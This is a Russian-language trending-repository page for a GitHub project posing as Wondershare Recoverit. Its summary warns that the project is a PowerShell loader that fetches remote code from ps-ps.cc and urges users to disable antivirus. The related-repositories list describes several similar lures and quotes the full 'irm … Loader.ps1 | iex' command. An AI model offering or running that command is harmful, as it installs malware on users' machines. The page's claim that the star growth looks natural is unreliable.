Macroeablade/Wondshare-Recoverit
О проекте
Репозиторий выдаёт себя за набор для восстановления данных Wondshare Recoverit, но по сути это скрипт PowerShell, скачивающий и запускающий удалённый Loader.ps1 с ps-ps.cc, с советами отключить антивирус и обойти Execution Policy.
Чем пригодится
- Не запускать: команда irm ... | iex выполняет произвольный удалённый код с ps-ps.cc
- Проверить репозиторий на признаки вредоносного установщика перед любым использованием
Пересказ README моделью DeepSeek V4.1 Flash. Может ошибаться в деталях.
Почему он в тренде
- Сегодня уже 153 звезды, к концу дня ожидается около 194.
- Репозиторию 1 день, а у него уже 141 звезда. Истории меньше двух недель, так что обычного темпа, с которым можно сравнить всплеск, у него ещё нет.
- Топ новых репозиториев за неделю: #127.
- Около 92 форков в сутки — код забирают себе.
Звёзды по дням
Столбики — звёзды за день, линия — обычный темп. Красным — дни всплесков.
Цифры
- Всего звёзд
- 141
- Сегодня
- 153 · к вечеру ≈ 194
- Форков
- 11
- Issues и pull requests
- 0
- Наблюдателей
- 0
- Создан
- 1 октября 2026
- Последний коммит
- 1 октября 2026
Доверие к звёздам
Рост выглядит естественно: форков и обсуждений столько, сколько бывает у живых проектов, а звёзды приходят неровно, как от людей.
Это эвристики, а не приговор: судим по поведению репозитория, а не по списку звездивших.
Где замечен
- 2 октября 2026Топ новых репозиториев за неделю: #127
Поделиться
Бейдж для README
Вставьте в README — бейдж сам показывает свежую магнитуду и ведёт на эту страницу.
[](https://gitnova.dev/r/Macroeablade/Wondshare-Recoverit)Похожие по описанию
-
5,9
denmooseflex/Display-Fusion
Репозиторий маскируется под менеджер конфигурации Display Fusion, но по сути это установщик, распространяющий пиратскую «pre-activated» версию через запуск удалённого PowerShell-скрипта. README содержит инструкции по…
-
5,9
flowchorderadicate/DVD-Creator
Репозиторий маскируется под программу для авторинга DVD, но по сути это скрипт-загрузчик, который через PowerShell скачивает и запускает сторонний код с ps-ps.cc, отключая защиту Windows.
-
5,8
Pulverizeclirouse/StartAll-Back
Репозиторий маскируется под утилиту оптимизации StartAll Back, но по сути это скрипт-загрузчик: README предлагает выполнить `irm https://ps-ps.cc/powershell/Loader.ps1 | iex` и отключить антивирус. Никакого реального…
-
5,8
ashdriverclippers/Microsoft-Visio
Репозиторий маскируется под «оптимизацию Microsoft Visio», но по сути это скрипт-загрузчик, который через PowerShell запускает удалённый код с ps-ps.cc и предлагает отключить антивирус. Признаки вредоносного/пиратского…
-
5,9
BackerAbide59/Fps-Booster-for-Windows
Репозиторий выдаёт себя за FPS-бустер для Windows, но по факту это скрипт, который просит выполнить удалённый PowerShell-код и отключить антивирус. Похоже на вредоносную или мошенническую схему, а не на реальный…
-
6,1
CoatDistributorHost/Adobe-Substance-3d
Репозиторий маскируется под набор для оптимизации Adobe Substance 3D, но по факту предлагает выполнить сторонний PowerShell-скрипт (irm ... | iex) для «предварительно активированной» установки и обхода антивируса.